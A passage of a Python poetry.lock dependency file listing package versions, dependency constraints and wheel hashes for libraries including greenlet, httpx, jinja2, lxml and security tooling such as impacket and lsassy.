"greenlet-3.1.1-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:da7a9bff22ce038e19bf62c4dd1ec8391062878710ded0a845bcf47cc0200617"}, {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b2795058c23988728eec1f36a4e5e4ebad22f8320c85f3587b539b9ac84128d7"}, {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:ed10eac5830befbdd0c32f83e8aa6288361597550ba669b04c48f0f9a2c843c6"}, {file = "greenlet-3.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:77c386de38a60d1dfb8e55b8c1101d68c79dfdd25c7095d51fec2dd800892b80"}, {file = "greenlet-3.1.1-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:e4d333e558953648ca09d64f13e6d8f0523fa705f51cae3f03b5983489958c70"}, {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:09fc016b73c94e98e29af67ab7b9a879c307c6731a2c9da0db5a7d9b7edd1159"}, {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5e975ca70269d66d17dd995dafc06f1b06e8cb1ec1e9ed54c1d1e4a7c4cf26e"}, {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3b2813dc3de8c1ee3f924e4d4227999285fd335d1bcc0d2be6dc3f1f6a318ec1"}, {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e347b3bfcf985a05e8c0b7d462ba6f15b1ee1c909e2dcad795e49e91b152c383"}, {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9e8f8c9cb53cdac7ba9793c276acd90168f416b9ce36799b9b885790f8ad6c0a"}, {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:62ee94988d6b4722ce0028644418d93a52429e977d742ca2ccbe1c4f4a792511"}, {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1776fd7f989fc6b8d8c8cb8da1f6b82c5814957264d1f6cf818d475ec2bf6395"}, {file = "greenlet-3.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:48ca08c771c268a768087b408658e216133aecd835c0ded47ce955381105ba39"}, {file = "greenlet-3.1.1-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:4afe7ea89de619adc868e087b4d2359282058479d7cfb94970adf4b55284574d"}, {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f406b22b7c9a9b4f8aa9d2ab13d6ae0ac3e85c9a809bd590ad53fed2bf70dc79"}, {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c3a701fe5a9695b238503ce5bbe8218e03c3bcccf7e204e455e7462d770268aa"}, {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2846930c65b47d70b9d178e89c7e1a69c95c1f68ea5aa0a58646b7a96df12441"}, {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99cfaa2110534e2cf3ba31a7abcac9d328d1d9f1b95beede58294a60348fba36"}, {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1443279c19fca463fc33e65ef2a935a5b09bb90f978beab37729e1c3c6c25fe9"}, {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b7cede291382a78f7bb5f04a529cb18e068dd29e0fb27376074b6d0317bf4dd0"}, {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:23f20bb60ae298d7d8656c6ec6db134bca379ecefadb0b19ce6f19d1f232a942"}, {file = "greenlet-3.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:7124e16b4c55d417577c2077be379514321916d5790fa287c9ed6f23bd2ffd01"}, {file = "greenlet-3.1.1-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:05175c27cb459dcfc05d026c4232f9de8913ed006d42713cb8a5137bd49375f1"}, {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:935e943ec47c4afab8965954bf49bfa639c05d4ccf9ef6e924188f762145c0ff"}, {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:667a9706c970cb552ede35aee17339a18e8f2a87a51fba2ed39ceeeb1004798a"}, {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8a678974d1f3aa55f6cc34dc480169d58f2e6d8958895d68845fa4ab566509e"}, {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efc0f674aa41b92da8c49e0346318c6075d734994c3c4e4430b1c3f853e498e4"}, {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0153404a4bb921f0ff1abeb5ce8a5131da56b953eda6e14b88dc6bbc04d2049e"}, {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:275f72decf9932639c1c6dd1013a1bc266438eb32710016a1c742df5da6e60a1"}, {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:c4aab7f6381f38a4b42f269057aee279ab0fc7bf2e929e3d4abfae97b682a12c"}, {file = "greenlet-3.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:b42703b1cf69f2aa1df7d1030b9d77d3e584a70755674d60e710f0af570f3761"}, {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1695e76146579f8c06c1509c7ce4dfe0706f49c6831a817ac04eebb2fd02011"}, {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7876452af029456b3f3549b696bb36a06db7c90747740c5302f74a9e9fa14b13"}, {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4ead44c85f8ab905852d3de8d86f6f8baf77109f9da589cb4fa142bd3b57b475"}, {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8320f64b777d00dd7ccdade271eaf0cad6636343293a25074cc5566160e4de7b"}, {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6510bf84a6b643dabba74d3049ead221257603a253d0a9873f55f6a59a65f822"}, {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:04b013dc07c96f83134b1e99888e7a79979f1a247e2a9f59697fa14b5862ed01"}, {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:411f015496fec93c1c8cd4e5238da364e1da7a124bcb293f085bf2860c32c6f6"}, {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:47da355d8687fd65240c364c90a31569a133b7b60de111c255ef5b606f2ae291"}, {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:98884ecf2ffb7d7fe6bd517e8eb99d31ff7855a840fa6d0d63cd07c037f6a981"}, {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f1d4aeb8891338e60d1ab6127af1fe45def5259def8094b9c7e34690c8858803"}, {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db32b5348615a04b82240cc67983cb315309e88d444a288934ee6ceaebcad6cc"}, {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dcc62f31eae24de7f8dce72134c8651c58000d3b1868e01392baea7c32c247de"}, {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:1d3755bcb2e02de341c55b4fca7a745a24a9e7212ac953f6b3a48d117d7257aa"}, {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:b8da394b34370874b4572676f36acabac172602abf054cbc4ac910219f3340af"}, {file = "greenlet-3.1.1-cp37-cp37m-win32.whl", hash = "sha256:a0dfc6c143b519113354e780a50381508139b07d2177cb6ad6a08278ec655798"}, {file = "greenlet-3.1.1-cp37-cp37m-win_amd64.whl", hash = "sha256:54558ea205654b50c438029505def3834e80f0869a70fb15b871c29b4575ddef"}, {file = "greenlet-3.1.1-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:346bed03fe47414091be4ad44786d1bd8bef0c3fcad6ed3dee074a032ab408a9"}, {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfc59d69fc48664bc693842bd57acfdd490acafda1ab52c7836e3fc75c90a111"}, {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d21e10da6ec19b457b82636209cbe2331ff4306b54d06fa04b7c138ba18c8a81"}, {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:37b9de5a96111fc15418819ab4c4432e4f3c2ede61e660b1e33971eba26ef9ba"}, {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ef9ea3f137e5711f0dbe5f9263e8c009b7069d8a1acea822bd5e9dae0ae49c8"}, {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85f3ff71e2e60bd4b4932a043fbbe0f499e263c628390b285cb599154a3b03b1"}, {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:95ffcf719966dd7c453f908e208e14cde192e09fde6c7186c8f1896ef778d8cd"}, {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:03a088b9de532cbfe2ba2034b2b85e82df37874681e8c470d6fb2f8c04d7e4b7"}, {file = "greenlet-3.1.1-cp38-cp38-win32.whl", hash = "sha256:8b8b36671f10ba80e159378df9c4f15c14098c4fd73a36b9ad715f057272fbef"}, {file = "greenlet-3.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:7017b2be767b9d43cc31416aba48aab0d2309ee31b4dbf10a1d38fb7972bdf9d"}, {file = "greenlet-3.1.1-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:396979749bd95f018296af156201d6211240e7a23090f50a8d5d18c370084dc3"}, {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca9d0ff5ad43e785350894d97e13633a66e2b50000e8a183a50a88d834752d42"}, {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f6ff3b14f2df4c41660a7dec01045a045653998784bf8cfcb5a525bdffffbc8f"}, {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94ebba31df2aa506d7b14866fed00ac141a867e63143fe5bca82a8e503b36437"}, {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:73aaad12ac0ff500f62cebed98d8789198ea0e6f233421059fa68a5aa7220145"}, {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63e4844797b975b9af3a3fb8f7866ff08775f5426925e1e0bbcfe7932059a12c"}, {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7939aa3ca7d2a1593596e7ac6d59391ff30281ef280d8632fa03d81f7c5f955e"}, {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d0028e725ee18175c6e422797c407874da24381ce0690d6b9396c204c7f7276e"}, {file = "greenlet-3.1.1-cp39-cp39-win32.whl", hash = "sha256:5e06afd14cbaf9e00899fae69b24a32f2196c19de08fcb9f4779dd4f004e5e7c"}, {file = "greenlet-3.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:3319aa75e0e0639bc15ff54ca327e8dc7a6fe404003496e3c6925cd3142e0e22"}, {file = "greenlet-3.1.1.tar.gz", hash = "sha256:4ce3ac6cdb6adf7946475d7ef31777c26d94bccc377e070a7986bd2d5c515467"}, ] [package.extras] docs = ["Sphinx", "furo"] test = ["objgraph", "psutil"] [[package]] name = "h11" version = "0.14.0" description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, ] [[package]] name = "httpcore" version = "1.0.8" description = "A minimal low-level HTTP client." optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "httpcore-1.0.8-py3-none-any.whl", hash = "sha256:5254cf149bcb5f75e9d1b2b9f729ea4a4b883d1ad7379fc632b727cec23674be"}, {file = "httpcore-1.0.8.tar.gz", hash = "sha256:86e94505ed24ea06514883fd44d2bc02d90e77e7979c8eb71b90f41d364a1bad"}, ] [package.dependencies] certifi = "*" h11 = ">=0.13,<0.15" [package.extras] asyncio = ["anyio (>=4.0,<5.0)"] http2 = ["h2 (>=3,<5)"] socks = ["socksio (==1.*)"] trio = ["trio (>=0.22.0,<1.0)"] [[package]] name = "httpx" version = "0.28.1" description = "The next generation HTTP client." optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"}, {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"}, ] [package.dependencies] anyio = "*" certifi = "*" httpcore = "==1.*" idna = "*" [package.extras] brotli = ["brotli ; platform_python_implementation == \"CPython\"", "brotlicffi ; platform_python_implementation != \"CPython\""] cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] http2 = ["h2 (>=3,<5)"] socks = ["socksio (==1.*)"] zstd = ["zstandard (>=0.18.0)"] [[package]] name = "idna" version = "3.10" description = "Internationalized Domain Names in Applications (IDNA)" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, ] [package.extras] all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] [[package]] name = "impacket" version = "0.14.0.dev0+20251203.31101.caba5fac" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" groups = ["main"] files = [] develop = false [package.dependencies] charset_normalizer = "*" flask = ">=1.0" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" ldapdomaindump = ">=0.9.0" pyasn1 = ">=0.2.3" pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = "*" pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} setuptools = "*" six = "*" [package.source] type = "git" url = "https://github.com/fortra/impacket" reference = "HEAD" resolved_reference = "caba5facdd3a01b5d0decc6daf5871839f22f792" [[package]] name = "iniconfig" version = "2.0.0" description = "brain-dead simple config-ini parsing" optional = false python-versions = ">=3.7" groups = ["dev"] files = [ {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, ] [[package]] name = "itsdangerous" version = "2.2.0" description = "Safely pass data to untrusted environments and back." optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef"}, {file = "itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173"}, ] [[package]] name = "jinja2" version = "3.1.5" description = "A very fast and expressive template engine." optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "jinja2-3.1.5-py3-none-any.whl", hash = "sha256:aba0f4dc9ed8013c424088f68a5c226f7d6097ed89b246d7749c2ec4175c6adb"}, {file = "jinja2-3.1.5.tar.gz", hash = "sha256:8fefff8dc3034e27bb80d67c671eb8a9bc424c0ef4c0826edbff304cceff43bb"}, ] [package.dependencies] MarkupSafe = ">=2.0" [package.extras] i18n = ["Babel (>=2.7)"] [[package]] name = "jwt" version = "1.3.1" description = "JSON Web Token library for Python 3." optional = false python-versions = ">= 3.6" groups = ["main"] files = [ {file = "jwt-1.3.1-py3-none-any.whl", hash = "sha256:61c9170f92e736b530655e75374681d4fcca9cfa8763ab42be57353b2b203494"}, ] [package.dependencies] cryptography = ">=3.1,<3.4.0 || >3.4.0" [[package]] name = "ldap3" version = "2.9.1" description = "A strictly RFC 4510 conforming LDAP V3 pure Python client library" optional = false python-versions = "*" groups = ["main"] files = [ {file = "ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"}, {file = "ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"}, ] [package.dependencies] pyasn1 = ">=0.4.6" [[package]] name = "ldapdomaindump" version = "0.9.4" description = "Active Directory information dumper via LDAP" optional = false python-versions = "*" groups = ["main"] files = [ {file = "ldapdomaindump-0.9.4-py2-none-any.whl", hash = "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f"}, {file = "ldapdomaindump-0.9.4-py3-none-any.whl", hash = "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa"}, {file = "ldapdomaindump-0.9.4.tar.gz", hash = "sha256:99dcda17050a96549966e53bc89e71da670094d53d9542b3b0d0197d035e6f52"}, ] [package.dependencies] dnspython = "*" future = "*" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" [[package]] name = "lsassy" version = "3.1.13" description = "Python library to extract credentials from lsass remotely" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "lsassy-3.1.13-py3-none-any.whl", hash = "sha256:a70417a6605afb8919b1d8bac3b123881bb2beb867c38666574d0aab4a41d450"}, {file = "lsassy-3.1.13.tar.gz", hash = "sha256:d68e0a7ebbe84770e87091e7fd680d66e8cb937cb5221c028a2db6ff48619994"}, ] [package.dependencies] impacket = "*" netaddr = "*" pypykatz = ">=0.6.3" rich = "*" [[package]] name = "lxml" version = "5.3.1" description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a4058f16cee694577f7e4dd410263cd0ef75644b43802a689c2b3c2a7e69453b"}, {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:364de8f57d6eda0c16dcfb999af902da31396949efa0e583e12675d09709881b"}, {file = "lxml-5.3.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:528f3a0498a8edc69af0559bdcf8a9f5a8bf7c00051a6ef3141fdcf27017bbf5"}, {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db4743e30d6f5f92b6d2b7c86b3ad250e0bad8dee4b7ad8a0c44bfb276af89a3"}, {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:17b5d7f8acf809465086d498d62a981fa6a56d2718135bb0e4aa48c502055f5c"}, {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:928e75a7200a4c09e6efc7482a1337919cc61fe1ba289f297827a5b76d8969c2"}, {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a997b784a639e05b9d4053ef3b20c7e447ea80814a762f25b8ed5a89d261eac"}, {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:7b82e67c5feb682dbb559c3e6b78355f234943053af61606af126df2183b9ef9"}, {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:f1de541a9893cf8a1b1db9bf0bf670a2decab42e3e82233d36a74eda7822b4c9"}, {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:de1fc314c3ad6bc2f6bd5b5a5b9357b8c6896333d27fdbb7049aea8bd5af2d79"}, {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:7c0536bd9178f754b277a3e53f90f9c9454a3bd108b1531ffff720e082d824f2"}, {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:68018c4c67d7e89951a91fbd371e2e34cd8cfc71f0bb43b5332db38497025d51"}, {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:aa826340a609d0c954ba52fd831f0fba2a4165659ab0ee1a15e4aac21f302406"}, {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:796520afa499732191e39fc95b56a3b07f95256f2d22b1c26e217fb69a9db5b5"}, {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3effe081b3135237da6e4c4530ff2a868d3f80be0bda027e118a5971285d42d0"}, {file = "lxml-5.3.1-cp310-cp310-win32.whl", hash = "sha256:a22f66270bd6d0804b02cd49dae2b33d4341015545d17f8426f2c4e22f557a23"}, {file = "lxml-5.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:0bcfadea3cdc68e678d2b20cb16a16716887dd00a881e16f7d806c2138b8ff0c"}, {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e220f7b3e8656ab063d2eb0cd536fafef396829cafe04cb314e734f87649058f"}, {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0f2cfae0688fd01f7056a17367e3b84f37c545fb447d7282cf2c242b16262607"}, {file = "lxml-5.3.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:67d2f8ad9dcc3a9e826bdc7802ed541a44e124c29b7d95a679eeb58c1c14ade8"}, {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db0c742aad702fd5d0c6611a73f9602f20aec2007c102630c06d7633d9c8f09a"}, {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:198bb4b4dd888e8390afa4f170d4fa28467a7eaf857f1952589f16cfbb67af27"}, {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2a3e412ce1849be34b45922bfef03df32d1410a06d1cdeb793a343c2f1fd666"}, {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2b8969dbc8d09d9cd2ae06362c3bad27d03f433252601ef658a49bd9f2b22d79"}, {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:5be8f5e4044146a69c96077c7e08f0709c13a314aa5315981185c1f00235fe65"}, {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:133f3493253a00db2c870d3740bc458ebb7d937bd0a6a4f9328373e0db305709"}, {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:52d82b0d436edd6a1d22d94a344b9a58abd6c68c357ed44f22d4ba8179b37629"}, {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:1b6f92e35e2658a5ed51c6634ceb5ddae32053182851d8cad2a5bc102a359b33"}, {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:203b1d3eaebd34277be06a3eb880050f18a4e4d60861efba4fb946e31071a295"}, {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:155e1a5693cf4b55af652f5c0f78ef36596c7f680ff3ec6eb4d7d85367259b2c"}, {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22ec2b3c191f43ed21f9545e9df94c37c6b49a5af0a874008ddc9132d49a2d9c"}, {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:7eda194dd46e40ec745bf76795a7cccb02a6a41f445ad49d3cf66518b0bd9cff"}, {file = "lxml-5.3.1-cp311-cp311-win32.whl", hash = "sha256:fb7c61d4be18e930f75948705e9718618862e6fc2ed0d7159b2262be73f167a2"}, {file = "lxml-5.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:c809eef167bf4a57af4b03007004896f5c60bd38dc3852fcd97a26eae3d4c9e6"}, {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e69add9b6b7b08c60d7ff0152c7c9a6c45b4a71a919be5abde6f98f1ea16421c"}, {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4e52e1b148867b01c05e21837586ee307a01e793b94072d7c7b91d2c2da02ffe"}, {file = "lxml-5.3.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4b382e0e636ed54cd278791d93fe2c4f370772743f02bcbe431a160089025c9"}, {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e49dc23a10a1296b04ca9db200c44d3eb32c8d8ec532e8c1fd24792276522a"}, {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4399b4226c4785575fb20998dc571bc48125dc92c367ce2602d0d70e0c455eb0"}, {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5412500e0dc5481b1ee9cf6b38bb3b473f6e411eb62b83dc9b62699c3b7b79f7"}, {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c93ed3c998ea8472be98fb55aed65b5198740bfceaec07b2eba551e55b7b9ae"}, {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:63d57fc94eb0bbb4735e45517afc21ef262991d8758a8f2f05dd6e4174944519"}, {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:b450d7cabcd49aa7ab46a3c6aa3ac7e1593600a1a0605ba536ec0f1b99a04322"}, {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:4df0ec814b50275ad6a99bc82a38b59f90e10e47714ac9871e1b223895825468"}, {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d184f85ad2bb1f261eac55cddfcf62a70dee89982c978e92b9a74a1bfef2e367"}, {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b725e70d15906d24615201e650d5b0388b08a5187a55f119f25874d0103f90dd"}, {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a31fa7536ec1fb7155a0cd3a4e3d956c835ad0a43e3610ca32384d01f079ea1c"}, {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3c3c8b55c7fc7b7e8877b9366568cc73d68b82da7fe33d8b98527b73857a225f"}, {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d61ec60945d694df806a9aec88e8f29a27293c6e424f8ff91c80416e3c617645"}, {file = "lxml-5.3.1-cp312-cp312-win32.whl", hash = "sha256:f4eac0584cdc3285ef2e74eee1513a6001681fd9753b259e8159421ed28a72e5"}, {file = "lxml-5.3.1-cp312-cp312-win_amd64.whl", hash = 